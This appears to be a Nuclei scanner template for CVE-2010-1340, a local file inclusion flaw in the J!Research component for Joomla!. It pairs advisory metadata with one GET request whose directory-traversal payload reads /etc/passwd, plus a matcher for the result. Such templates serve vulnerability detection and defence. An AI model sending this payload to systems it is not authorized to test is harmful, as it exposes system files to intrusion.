id: CVE-2010-1340

info:
  name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to remote code execution or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33797
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1340
    - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57123
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1340
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.95986
    cpe: cpe:2.3:a:joomla-research:com_jresearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla-research
    product: com_jresearch
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joomla-research,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220354122d0691737c52d953e5bbccfc01defb33fc6ca160be36da241083897945e022022b5bae70302d3de6d38d9e6df68b70b4df9c28376fb52ed67b2ef41a7090a31:922c64590222798bb761d5b6d8e72950